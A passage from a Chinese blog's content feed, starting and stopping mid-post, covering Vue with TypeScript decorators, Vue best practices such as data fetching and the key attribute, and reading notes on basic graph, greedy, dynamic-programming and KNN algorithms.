computed</span></span><br><span class="line"> <span class="keyword">get</span> computedMsg () {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'computed '</span> + <span class="keyword">this</span>.msg</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// method</span></span><br><span class="line"> greet () {</span><br><span class="line"> alert(<span class="string">'greeting: '</span> + <span class="keyword">this</span>.msg)</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们以前书写组件的<code>data</code>数据项,可以直接声明为组件类的属性,<code>methods</code>,可以直接声明为类的方法,组件的各种生命周期函数,也可以直接作为类方法声明。而计算属性,更可以方便的通过类的<code>get</code>和<code>set</code>函数来实现。</p><p>需要注意的是,因为<code>Ts</code>的模块系统只能自动识别<code>.ts</code>结尾的文件,因此我们在从<code>.Vue</code>文件导入组件类时,<strong>需要在导入路径上加上文件名后缀<code>.vue</code>。</strong></p><p>对于一些无法在<code>Ts</code>类中声明的方法和属性,例如<code>watch</code>,<code>props</code>我们可以直接在<code>@Component</code>装饰器中作为参数传入,或者使用下面这个库。</p><h4 id="vue-property-decorator"><a href="#vue-property-decorator" class="headerlink" title="vue-property-decorator"></a><strong><em>vue-property-decorator</em></strong></h4><p>这个库依赖于上面的<code>vue-class-component</code>,提供了更多的 Vue 组件相关方法的装饰器,可以让我们方便的在组件类中使用 Vue 实例提供的方法和属性,例如<code>props</code>, <code>watch</code>等。</p><p><code>vue-property-decorator</code>提供了下面几个装饰器:</p><ul><li><code>@Watch</code></li><li><code>@Prop</code></li><li><code>@Model</code></li><li><code>@Provide</code></li><li><code>@Inject</code></li><li><code>@Emit</code></li><li><code>@Mixins</code></li><li><code>@Component</code> (依赖于<code>vue-class-component</code>)</li></ul><p>通过这些装饰器,我们可以简单方便的使用<code>Vue</code>实例自身提供的一些方法和属性。如下:</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { Vue, Component, Prop, Watch } <span class="keyword">from</span> <span class="string">'vue-property-decorator'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">class</span> YourComponent <span class="keyword">extends</span> Vue {</span><br><span class="line"> <span class="meta">@Prop</span>(<span class="built_in">Number</span>) propA!: <span class="built_in">number</span></span><br><span class="line"> <span class="meta">@Prop</span>({ <span class="keyword">default</span>: <span class="string">'default value'</span> }) propB!: <span class="built_in">string</span></span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Watch</span>(<span class="string">'child'</span>)</span><br><span class="line"> onChildChanged(val: <span class="built_in">string</span>, oldVal: <span class="built_in">string</span>) { }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>具体这些装饰器的详细使用,可以前往<a href="https://github.com/kaorun343/vue-property-decorator" target="_blank" rel="noopener">vue-property-decorator项目主页</a> 查看。</p><h3 id="vuex-class"><a href="#vuex-class" class="headerlink" title="vuex-class"></a><strong><em>vuex-class</em></strong></h3><p><code>vuex-class</code> 同样是基于<code>vue-class-component</code>的一个库,用于提供<code>vuex</code>的<code>typeScript</code>支持。提供了以下几个装饰器:</p><ul><li><code>@State</code></li><li><code>@Getter</code></li><li><code>@Action</code></li><li><code>Mutation</code></li></ul><p>同时它还提供了一个<code>namespace</code>方法,用于获取<code>vuex</code>的某个命名空间。</p><p><code>vuex-class</code>的具体细节,也可以前往其<a href="https://github.com/ktsn/vuex-class" target="_blank" rel="noopener">项目主页</a> 查看。</p><h3 id="坑"><a href="#坑" class="headerlink" title="坑"></a>坑</h3><p>有了上面提到的三个库,基本的开发应该就可以顺利的进行了。当然,因为<code>Vue</code>对<code>TypeScript</code>的支持还并不是非常完美,所以在使用的过程中可能还是会遇到一些坑,我这里说几个比较容易遇见的问题和解决办法。</p><h4 id="使用装饰器时Ts-报错"><a href="#使用装饰器时Ts-报错" class="headerlink" title="使用装饰器时Ts 报错"></a>使用装饰器时<strong><em>Ts</em></strong> 报错</h4><p>这个问题,在<code>tsconfig.js</code>中设置<code>experimentalDecorators</code> 选项为<code>true</code>即可。</p><h4 id="第三方库引入"><a href="#第三方库引入" class="headerlink" title="第三方库引入"></a>第三方库引入</h4><p>我们在项目中会经常使用一些第三方的库,例如<code>ElementUI</code>,<code>echarts</code>等等,当我们在<code>Ts</code>中引入这些库的时候,明明我们已经安装了,<code>Ts</code>仍然会报错找不到库路径。这是因为这些库中没有包含以<code>.d.ts</code>结尾的库声明文件,所以<code>Ts</code>就无法识别它们。</p><p>比较方便的解决办法是前往<a href="http://microsoft.github.io/TypeSearch/" target="_blank" rel="noopener">这个网站</a>查看是否有对应第三方库的声明,如果有,直接使用<code>npm</code>安装即可。在这个网站,基本可以找到我们常用的所有库的声明<code>type</code>库。</p><p>当然,如果我们用的第三方库比较冷门的话,这个网站我们搜不到,我们也可以自己写一个声明文件放在项目中,并不是特别麻烦。</p><h4 id="Vue全局方法和属性的使用"><a href="#Vue全局方法和属性的使用" class="headerlink" title="Vue全局方法和属性的使用"></a>Vue全局方法和属性的使用</h4><p>在写<code>Vue</code>的时候,我们通常会定义或使用第三方提供的全局方法,在<code>TypeScript</code>中照原来的方法使用的话,会报错<code>Vue</code>类型并不存在这个全局属性或方法。这是因为我们没有为<code>Vue</code>类型声明对应的属性和方法。</p><p>可以通过在上文提到的<code>vue-shim.d.ts</code>中添加对应的方法和属性声明,来避免这个报错。</p><p>例如<code>elementUI</code>提供的全局方法<code>$message</code></p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">declare</span> <span class="keyword">module</span> 'vue/types/vue' {</span><br><span class="line"> <span class="keyword">interface</span> Vue {</span><br><span class="line"> $message: <span class="built_in">any</span>,</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>属性也是一样,在<code>Vue</code>的<code>interface</code>中声明即可。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总的来说,在<code>Vue</code>中使用<code>TypeScript</code> 目前是完全可行的,当然,还是远远比不上<code>Angular</code>和<code>TypeScript</code>的那种非常契合丝滑的感受的。但也情有可原,毕竟<code>vue</code>框架的作者尤大大一年前还在知乎严肃的说<code>Vue</code>并不特别需要<code>TypeScript</code>,<code>Vue</code>这个框架诞生之初也并没有想与<code>Ts</code>发生什么联系,就算现在想借助<code>TypeScirpt</code>来提高<code>Vue</code>在大型的长期项目中的开发效率,降低维护难度,也不是短期内就可以完成的事情。</p><p>但有理由相信,随着前端工程化程度的进一步深入,<code>Vue</code>也会加大与<code>Typescript</code>的结合力度,来进一步为我们提供更好的开发体验的。</p><p>另外,附上我使用 <code>Vue-CLI</code>搭建的<code>Vue + TypeScirpt</code>项目链接,有需要的同学可以参考一下。</p><p><a href="https://github.com/Gyufei/vue-typescript" target="_blank" rel="noopener">项目传送门</a></p><p>谢谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> Vue </category>
</categories>
<tags>
<tag> vue </tag>
<tag> typescript </tag>
</tags>
</entry>
<entry>
<title>关于Vue的一次技术分享</title>
<link href="/2018/07/20/vue-tech-share/"/>
<url>/2018/07/20/vue-tech-share/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>本篇博客,是我在公司内部的一次关于vue的技术分享中分享的内容,特意整理一下,放在博客中,做个记录。</p></blockquote><a id="more"></a><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>对于vue框架来说,并没有太多特别规范化,大家都认可的特别约定俗成的最佳实践,当然,很多软件开发领域的通识规范,例如命名,文件划分,框架结构的分层界限等等,更多的也是通用于各类项目,也不好说这些就是vue的最佳实践。</p><p>更多的,也是追求一个能符合自己项目的需求,同时也保证一定开发效率的标准和良好实践,就非常ok了。所以呢,今天也是更多的就跟大家分享一下我在写vue这些时间里自己的一些心得。</p><p>最佳实践,大致的,可以分为风格类和功能操作类。</p><p>具体来说,风格类,例如缩进规则,命名规则等这些,vue在官方文档里提供了一个风格指南,主要就是关于这方面的建议,例如组件名,prop的定义和使用方式等等这些,大家闲了没事可以去瞄几眼。</p><p>功能操作类的最佳实践,例如组件的组织方式,全局状态的管理方式,类似axios请求层的封装调用方式,或者组织vuex这样的数据层的方式,包括如何处理自定义插件指令过滤器等等,官方并没有给出这方面的建议和最佳实践,网上关于这方面的东西也是争论多于讨论。所以要细说vue的最佳实践其实比较还蛮难的,可能大部分地方都得针对项目的具体情况和实际需求,来综合考虑。</p><p>当然,其实最佳实践这种东西,在项目中来说,最重要的还是<strong><em>统一就好</em></strong></p><h3 id="组件命名"><a href="#组件命名" class="headerlink" title="组件命名"></a>组件命名</h3><ul><li>组件文件名的大小写问题<br>(前几天我在linux下跑了某个前端项目,发现竟然是跑不起来的, 最后翻报错发现,原来存在几个组件命名时采用了首字母小写的驼峰命名,但是<code>import</code>时用了首字母大写的帕斯卡命名。<br>这在不识别文件名大小写的<code>windows</code>和<code>mac</code>下面是可以的,但是在<code>linux</code>下对文件大小写是敏感的,就会报找不到路径文件的错误,无法打包。<br>当然,因为现在大家大部分都是在mac打包编译之后部署的,所以没什么影响。但比如ssr类型的项目,因为是在linux服务器中编译的,如果存在组件命名大小写不统一错误的话,就会出问题。<br>对于组件的命名和使用,因为Vue的模板可以是单文件,可以是字符串,可以是原生DOM元素,模板形式不同,命名的最佳规则也不同,只要命名方式统一,就是比较好的。</li></ul><h3 id="vue实例对象属性顺序"><a href="#vue实例对象属性顺序" class="headerlink" title="vue实例对象属性顺序"></a>vue实例对象属性顺序</h3><p>虽然对象的属性是不区分大小写的,但是我们在写的时候,遵照特定的顺序,可以让代码更清晰一些。这种顺序风格也比较多,我总结了一下官方和iview库的风格,具体特别细的顺序其实也不用规定的太死,大概遵照下面的顺序,会使得组件的内部结构更清晰和易懂。组件特性,包括组件的挂载元素,名称等组件自身特质的一些东西。组件依赖项,包括组件依赖的一些在内部使用的外部资源。组件接口,例如props,双向绑定的model。组件自身的数据,包括data相应数据,compute计算属性组件的方法,包括组件的生命周期钩子函数,watch监听器,methods。我们在写代码的过程里,可以按照类似下面的分类来加上一些空行,使组件的内部结构更清晰明了。</p><ul><li>组件特性,例如 el, name</li><li>组件的依赖项 directive, filter, componets</li><li>组件的接口 props, model</li><li>组件自身数据 data,computed</li><li>组件自身方法<br>事件函数:生命周期函数,watch监听器<br>方法函数: methods</li></ul><p>这也是element和iview都使用的一种组件对象属性的顺序,在组件比较复杂,组件内属性比较多的时候,也可以根据这种归类使用空行分割,会比较清晰和明了。</p><h3 id="模板内的表达式"><a href="#模板内的表达式" class="headerlink" title="模板内的表达式"></a>模板内的表达式</h3><p>模板内不要写太复杂的表达式。在模板内的表达式如果比较复杂的话,有几个缺点:</p><ul><li>难以阅读</li><li>将数据逻辑和渲染层混在了一起,结构不清晰</li><li>没法复用</li><li>eslint无法准确的进行语法检查</li></ul><p>因为在模板内的表达式是拿双引号扩起来的,很多时候都堆在长长的一行里,阅读起来比较困难<br>模板内的表达式将数据逻辑和视图渲染层混在了一起,容易造成混乱。同时在一个地方写了一长串逻辑之后,在其他的地方是没办法用的。同时,eslint也没办法对它进行准确的语法检查,可能造成潜在的bug。</p><p>对于这种表达式,我们可以使用methods或者计算属性computed来代替。</p><h3 id="页面初始化的数据获取"><a href="#页面初始化的数据获取" class="headerlink" title="页面初始化的数据获取"></a>页面初始化的数据获取</h3><p><strong><em>进入页面后获取</em></strong></p><p>比较常见的一个场景就是,我们进入页面时需要根据某个参数获取一次数据,<br>随后watch这个参数,例如筛选条件参数,路由参数等,当参数变化时,去再次获取数据。<br>最基础的写法如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建时获取数据</span></span><br><span class="line">created () {</span><br><span class="line"> <span class="keyword">this</span>.getList()</span><br><span class="line">}, </span><br><span class="line"></span><br><span class="line">watch: {</span><br><span class="line"> <span class="string">'$route'</span>: <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">this</span>.getList()</span><br><span class="line"> }</span><br><span class="line">},</span><br><span class="line"></span><br><span class="line">methods: {</span><br><span class="line"><span class="comment">// 获取数据的方法</span></span><br><span class="line"> getList () {</span><br><span class="line"> <span class="keyword">const</span> id = <span class="keyword">this</span>.$route.params.id</span><br><span class="line"> api.getList(id)</span><br><span class="line"> <span class="keyword">this</span>.pageData = pageData</span><br><span class="line"> }</span><br><span class="line">},</span><br></pre></td></tr></table></figure><p>我们还可以使用watch的<code>immdiate</code>属性,在页面初始化完成,监听器开始工作的时候立即调用</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建时获取数据</span></span><br><span class="line">watch: {</span><br><span class="line"> <span class="string">'$route'</span>: {</span><br><span class="line"> immediate: <span class="literal">true</span>,</span><br><span class="line"> handler: <span class="string">'getList'</span></span><br><span class="line"> }</span><br><span class="line">},</span><br><span class="line"></span><br><span class="line">methods: {</span><br><span class="line"><span class="comment">// 获取数据的方法</span></span><br><span class="line"> <span class="keyword">async</span> getList () {</span><br><span class="line"> <span class="keyword">const</span> id = <span class="keyword">this</span>.$route.params.id</span><br><span class="line"> <span class="keyword">const</span> pageData = <span class="keyword">await</span> api.getList(id)</span><br><span class="line"> <span class="keyword">this</span>.pageData = pageData</span><br><span class="line"> }</span><br><span class="line">},</span><br></pre></td></tr></table></figure><p>顺便插一句let和const的使用,最好遵循最小特权原则,如果不需要某个变量,对象,类做某件事,就不要给它可以做这件事的功能。</p><p>在页面加载完成之后开始获取数据,然后让用户等待loading,这种方式不一定是我们想要的。有时候我们想让用户进来的时候,数据就已经展现好了,当页面呈现在用户面前时,就已经是加载好的状态了,我们不需要再显示一个loading状态。就可以通过下面一种方式</p><p><strong><em>页面导航完成前获取</em></strong></p><p>这种方法不是特别常用,但是在某些时候还比较有用的另一种数据获取方式。<br>就是在导航完成前获取数据,这样<br>我们不在组件的生命周期里或者监听器里获取数据,而是到路由守卫里获取数据。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">beforeRouteEnter (to, from, next) {</span><br><span class="line"> const id = to.params.id</span><br><span class="line"> const pageData = await api.getList(id)</span><br><span class="line"> next(vm => vm.pageData = pageData)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>路由守卫中是不能获取vue实例this的,因为这个时候组件实例还没有生成。next是用来resolve这个路由钩子的,调用resolve,就表示这个钩子已经完成,可以继续进入导航下一步了。对于这个钩子来说,就是表示可以开始组件的声明周期了。<br>通过向next传递一个回调函数,来将我们在路由导航前获取的数据,传递给组件。<br>这样,这个组件一呈现在用户面前,就是数据已经加载完毕的状态。<br>从另一个角度来说,这种方式,我们不用在组件页面展示loading状态了,需要在离开的页面展示一个进度条或加载中提示。<br>当然,这两种方式,还是看需求使用,看需要哪种用户体验。。</p><h3 id="key"><a href="#key" class="headerlink" title="key"></a><strong><em>key</em></strong></h3><p>前端页面的性能,主要就是消耗在页面DOM的插入,更新,删除这些操作导致页面不断的重新生成DOM树,重新布局,重新绘制。</p><p>Vitual DOM是基于javascript实现的一种虚拟DOM,将dom对象抽象成保留了页面元素层级关系和基本属性,例如id,class这些的javascript对象,javascript对象更简单,处理速度更快,dom树的结构,属性信息,以及文本内容都可以很容易的用javascript对象来表示。在vue中的虚拟DOM对象,也被称为VNode,是vue将真实的页面结构和数据抽象成一个个包含元素结构信息和数据的节点。</p><p>当页面数据更新的时候,vue会重新生成一次虚拟DOM,然后去跟上一次生成的虚拟DOM进行diff,得到两次的虚拟DOM不相同的地方,用专业的语言来说,就叫patch,得到patch之后,vue会将patch打到DOM上去,然后页面再去重新渲染,完成更新。</p><p>但是diff的时候,比较前后两次虚拟DOM的不同,如果从头到尾循环往复的一个个比较的话,也是非常消耗性能的,所以vue的diff算法有两个比较通用的规则:</p><ul><li><p>只进行同一层级的比较</p></li><li><p>如果比较到相同层级的节点存在不同,直接删除旧的,插入新的节点。不会再去比较后面有没有可以复用的。</p></li><li><p>如果渲染前后节点结构相同的话,就直接复用,继续比较两个节点的字节点,直到结束。<br>这样的话,在列表渲染的时候,就会高效的复用DOM结构,大部分时间,只需要更新每个节点所绑定的列表数据就行了。</p><p></p><p>通过示意图来说明一下:</p><p>我们打算更新一个列表,向列表插入一条数据<br><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1ftihu78iikj30d905b74a.jpg" alt="更新列表"></p><p>在更新完成之后,它是这样的:<br><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1ftihuo0y1bj30fw05zdg5.jpg" alt="withkey"></p><p>上面这一排是旧的页面结构对应的vnode节点,下面是vue根据更新后的数据生成的虚拟vnode节点,通过diff算法来比较它们从而决定如何更新页面DOM结构。</p><p>需要注意的一点是,vue只会更新节点绑定的列表数据,对于节点自身的数据和状态,也是跟结构一样,直接复用的。比如我们渲染一个select选择器的option属性,如果原来相同位置的option有个自己的状态disable,那它的结构被复用的话,它的disable数据同样也会被保留。可能会造成比较奇怪的bug,比如列表渲染的第二个元素是disabled的。这也是vue推荐除非特殊情况,一般都应该加上key的原因。<br>那如果我们给v-for绑定上key的话。这个key就相当于节点的id,vue在渲染时,对于存在前后key相同的元素,它就会直接复用,如下<br><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1ftihuxpp95j30ck03mq38.jpg" alt=""></p><p>这样,vue通过key,就可以不单单只复用节点的结构,还可以复用节点绑定的列表数据,性能上会优势,同时它一起复用结构和数据,也会避免一些怪异的bug。</p><p>另外提一点,通过上面的解读,大家也可以发现一点,用列表的index来做key的话其实也存在一点点问题,因为这样会导致vue把明明前后不是同一个的节点当成同一个。也就是说,使用index做key的话,大部分时间,其实跟不加key是一样的效果,只不过vue不会报警告。但总的来说,因为大家都习惯了拿index当key,在大部分时间列表项的唯一id也不是那么好找,所以大概了解key的原理,遇到列表渲染奇怪的表现时也好处理一些。</p></li></ul><p>当然,key的作用也不止v-for这些,它另外的作用就是阻止组件复用。</p><p>比较典型的, 我们有一个展示 poi 的组件,它的页面路由是<code>poi/${id}</code>,我们在它的<code>created</code>函数里根据id获取数据, 现在我们在 poi/22 页面,然后我们通过修改地址栏路由也好,或者通过$router的路由跳转方法也好,将路由改成 poi/23 ,</p><p>我们会发现页面并没有变化,这就是因为vue在判断前后节点结构相同,就直接复用了原有的节点,也就不会重新生成和插入节点,当然就不会触发组件的生命周期钩子。</p><p>当然,这种时候我们可以通过watch <code>$route</code>来处理,但还有另一种比较简便的做法,就是为路由出口加上<code>key</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><router-view :key="$route.fullpath"></span><br><span class="line"></router-view></span><br></pre></td></tr></table></figure><p>拿路由当做<code>key</code>,这样一来,vue在diff的时候发现前后key不同,就不会再重用组件了,生命周期钩子函数也就会按照我们预期的来触发了。</p><p>通过为元素加上<code>key</code>,来保证元素动画的正常触发,也是同样的道理。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>回顾一下,对于列表渲染来说,我们可以通过key来增加元素的复用程度,让它不光顺序复用结构,还可以根据节点id身份来复用,但对于路由来说,我们又可以通过key来让它不复用组件结构,从而正常触发组件的生命周期。在组件里呢,我们可以通过生命周期来获取数据,也可以通过增加watch的<code>immediate</code>选项来不使用生命周期就获取到初始数据,我们甚至可以在进入页面前就通过路由守卫先把数据获取了,这也就是vue的灵活性的体现,你想怎么来都行,官方也并没有给如何完成某个功能给出明确的建议,但不管什么框架,保证开发效率高效的同时,避免混乱,都是最佳实践的不变主题。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> Vue </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> Vue </tag>
</tags>
</entry>
<entry>
<title>算法学习(五):《算法图解》笔记(二)</title>
<link href="/2018/07/08/algorithm_note-5/"/>
<url>/2018/07/08/algorithm_note-5/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>本篇博客是《算法图解》读书笔记的第二篇。</p><p>这本书的前半部分,主要是对算法中的一些基础知识和思想的解读。进入后半部分,则开始相对深入的介绍了一些比较复杂问题的算法解决方案,例如图和树等。</p><p>对于我来说,这本书后半部分的阅读,主要是抱着拓展视野,知其大概的想法,真想解决什么问题,我估摸着得先去把那本《算法导论》啃两遍才行。因此,我并没有详细的研究算法如何具体实现,只要能简单的理解算法的思路和策略,我也就比较满意了。</p></blockquote><h3 id="第六章:广度优先搜索"><a href="#第六章:广度优先搜索" class="headerlink" title="第六章:广度优先搜索"></a>第六章:广度优先搜索</h3><h4 id="图"><a href="#图" class="headerlink" title="图"></a>图</h4><p>图,由节点<strong><em>(node)</em></strong>和边<strong><em>(edge)</em></strong>组成。相邻的节点成为邻居。</p><p>如果边带有方向,即相邻节点关系为单向的,称为有向图。</p><p>如果边不带方向,即相邻节点关系为双向的,称为无向图。</p><p>有向图中,如果所有边的方向都是一致的,又称为树。</p><p>如果有向图中,没有相邻节点互相双重连接,也就是没有环形结构,又称为有向无环图。</p><h4 id="数据结构之队列"><a href="#数据结构之队列" class="headerlink" title="数据结构之队列"></a>数据结构之队列</h4><p>队列,是一种先进先出<strong><em>(FIFO–first-in/first-out)</em></strong>的数据结构。类似栈的压入和弹出,队列支持两种操作,入队和出队。</p><h4 id="广度优先搜索"><a href="#广度优先搜索" class="headerlink" title="广度优先搜索"></a>广度优先搜索</h4><p>广度优先搜索主要用于解决两类问题:</p><ol><li>路径是否存在问题。即从一个节点到另一个节点,是否存在路径</li><li>路径最短问题。从一个节点到另一个节点,最短路径是哪条。</li></ol><p>广度优先搜索的具体步骤如下:</p><ol><li>将起始节点的所有相邻节点加入队列</li><li>取出队列中一个节点,检查是否为目标节点,如果是,目的达成。</li><li>如果不是,将此节点的所有邻居入队</li><li>重复步骤2</li></ol><p>需要注意的是,在广度优先搜索中,需要记录检查过的节点,避免因为存在环形结构而导致无限循环。</p><p>从上面的步骤介绍中,我们知道我们需要遍历所有的边,从而将所有节点加入队列,同时遍历队列,找出目标节点。因此,广度优先搜索的时间复杂度为<code>O(V+E)</code>,其中<code>V</code>为顶点数<strong><em>(vertice)</em></strong>,<code>E</code>为边数。</p><h3 id="第七章:狄克斯特拉算法"><a href="#第七章:狄克斯特拉算法" class="headerlink" title="第七章:狄克斯特拉算法"></a>第七章:狄克斯特拉算法</h3><h4 id="加权图"><a href="#加权图" class="headerlink" title="加权图"></a>加权图</h4><p>当图的边具有相应权重时,称为加权图。</p><p>对于加权图,要找出权重之和最低的路径,可以使用狄克斯特拉算法。</p><h4 id="狄克斯特拉算法"><a href="#狄克斯特拉算法" class="headerlink" title="狄克斯特拉算法"></a>狄克斯特拉算法</h4><p>狄克斯特拉算法适用于有向无环,且不存在负权边的图。</p><p>它通过不断找出到达每一节点层级的最短路径节点,从而找到到达目标节点的最短路径。步骤如下:</p><ol><li>列出到达所有节点的开销权重表(若目前无法到达,可暂设为无穷大</li><li>找出目前能到达的节点中路径最短的节点,遍历其邻居,更新开销表</li><li>找出目前能到达的节点中路径第二短的节点,遍历其邻居,更新开销表</li><li>直到遍历完所有节点,开销表中到达目标节点的开销,即为最短路径的长短</li></ol><p>狄克斯特拉算法,通过保证到达遍历节点过程中,每个节点的开销都为最小的,从而一步步找到最终所需的最短路径。也因为如此,狄克斯特拉算法只适用于无负权边的图,因为在存在负权边时,是无法根据已知开销,就确定到目前节点的路径为最短的。对于负权边的情况,可以使用贝尔曼-福德算法。(书中也只是提了个名字,我也不知道是个啥。</p><p>同时需要注意,每一步更新节点开销时,都要记录更新开销时的父节点,从而在最终根据父节点回朔得到具体的最短路径。</p><h3 id="第八章:贪婪算法"><a href="#第八章:贪婪算法" class="headerlink" title="第八章:贪婪算法"></a>第八章:贪婪算法</h3><p>贪婪算法,是指每一步都采取局部最优解的算法。</p><p>贪婪算法在某些情况下,获得的结果与全局最优解完全一致。但在某些情况下,并不是全局最优解,但也非常接近。</p><h4 id="NP完全问题"><a href="#NP完全问题" class="headerlink" title="NP完全问题"></a>NP完全问题</h4><p>NP完全问题,是指形如你需要列出所有的解,并从中选出最大或最小的那个这类问题。前文提过的旅行最短路径问题,就是NP完全问题。</p><p>集合覆盖问题,即存在若干个元素和若干个集合,每个集合中都包含有数个元素,选出最少的集合数,能够包含所有元素,也是一个NP完全问题。</p><p>在大部分情况下,NP完全问题是无法得出最优解的,只能求出与最优解近似的近似解。</p><p>不存在比较好的方法来确定一个问题是不是NP完全问题,但可以通过以下几个特征来进行一些辅助推断:</p><ol><li>随着元素的增加,时间复杂度近乎阶乘阶。</li><li>涉及 <strong><em>元素的所有组合</em></strong>类的问题</li><li>无法分解降低问题规模</li><li>涉及<strong><em>所有可能顺序</em></strong>的问题。</li><li>可以转化为旅行商和集合覆盖问题的问题,可以确定是NP完全问题。</li></ol><h3 id="第九章:动态规划"><a href="#第九章:动态规划" class="headerlink" title="第九章:动态规划"></a>第九章:动态规划</h3><p>动态规划,是指将一个问题分解为多个子问题问题,求出每个子问题的局部最优解,最终得到全局最优解。</p><p>动态规划在局部最优解也是全局最优解,且局部最优解的决策在后续决策中会不断被用到的情况下非常有效。</p><p>书中举例是有一个小偷,去商场偷东西,有各种商品,价格不同,体积也不同,有一磅,二磅,三磅等等。小偷的背包体积确定为4磅,现在需要确定小偷偷哪些商品,才能在本次偷窃中赚的最多。</p><p>这是一个十分适合使用动态规划解决的问题,首先计算,当背包为一磅时,偷哪些商品价值最高,再计算背包为两磅时,偷哪些商品,最终,我们就可以确定,背包为4磅时,偷哪些商品可以获得最多的价值。</p><p>动态规划将一个多阶段决策分解为多个局部的小决策,这就必须保证问题的粒度是可分的。如果上面的可偷商品可以只偷一部分的话,例如大米有三磅,但可以只拿一磅,这种时候动态规划就无能为力了。可以考虑使用贪婪算法。</p><p>对于动态规划来说,必须保证更细粒度的子问题是离散的,也就是某个局部最优解确定后,后续的决策不会影响到这个最优解。</p><p>动态规划问题,常见于求最长公共子序列问题。</p><h4 id="费曼算法"><a href="#费曼算法" class="headerlink" title="费曼算法"></a>费曼算法</h4><p>费曼算法是计算机领域的一个著名算法,它的步骤如下:</p><ol><li>把问题写到纸上</li><li>思考</li><li>将答案写到纸上</li></ol><h3 id="第十章:-K最近邻算法(k-nearest-neighbours-KNN)"><a href="#第十章:-K最近邻算法(k-nearest-neighbours-KNN)" class="headerlink" title="第十章: K最近邻算法(k-nearest-neighbours-KNN)"></a>第十章: K最近邻算法<strong><em>(k-nearest-neighbours-KNN)</em></strong></h3><p>K最近邻算法,通常用于进行分类和回归。</p><p>它将具体对象的一些特征值提取为一个N维数组,通过计算相互对象的特征值在N维坐标系中的距离,来确定对象之间的相似度,从而将相似度较高的对象以邻居归类。</p><p>书中举例一个电影推荐系统,每个用户都为很多电影打分,将用户对特定电影的打分值作为特征值,得出一个特征值数组,通过计算两组特征值的距离远近,来确定两个用户的相似度,从而将一个用户比较喜欢的电影推荐给另一个与他品味相似的用户,或者根据近邻用户为某部电影的打分,来预测当前用户的打分大概会是多少,也就是上面所说的回归。</p><p>当然,判断两个对象是否是邻居要根据特征值的选取和具体问题确定,不一定是坐标系中的距离,也可能是余弦相似度等。</p><p>KNN算法,是机器学习中的一个重要算法。</p><p>通过对大量相关对象提取特征值,也就是机器学习中的<strong>训练</strong>,来组成一个特征值库,通过KNN算法配合特征库,使机器具有识别和预测的能力,也就是我们常说的人工智能。当然,这里只是对人工智能粗浅的一个认识,真正的人工智能领域,是相当复杂和多变的。</p><p>KNN算法,比较常见的应用就是图像识别,人脸识别,语音识别,推荐系统等等。</p><p>另外,各论坛常见的关键字过滤系统,其中也有KNN算法的功劳。</p><h3 id="第十一章:其他常见算法"><a href="#第十一章:其他常见算法" class="headerlink" title="第十一章:其他常见算法"></a>第十一章:其他常见算法</h3><h4 id="二叉查找树"><a href="#二叉查找树" class="headerlink" 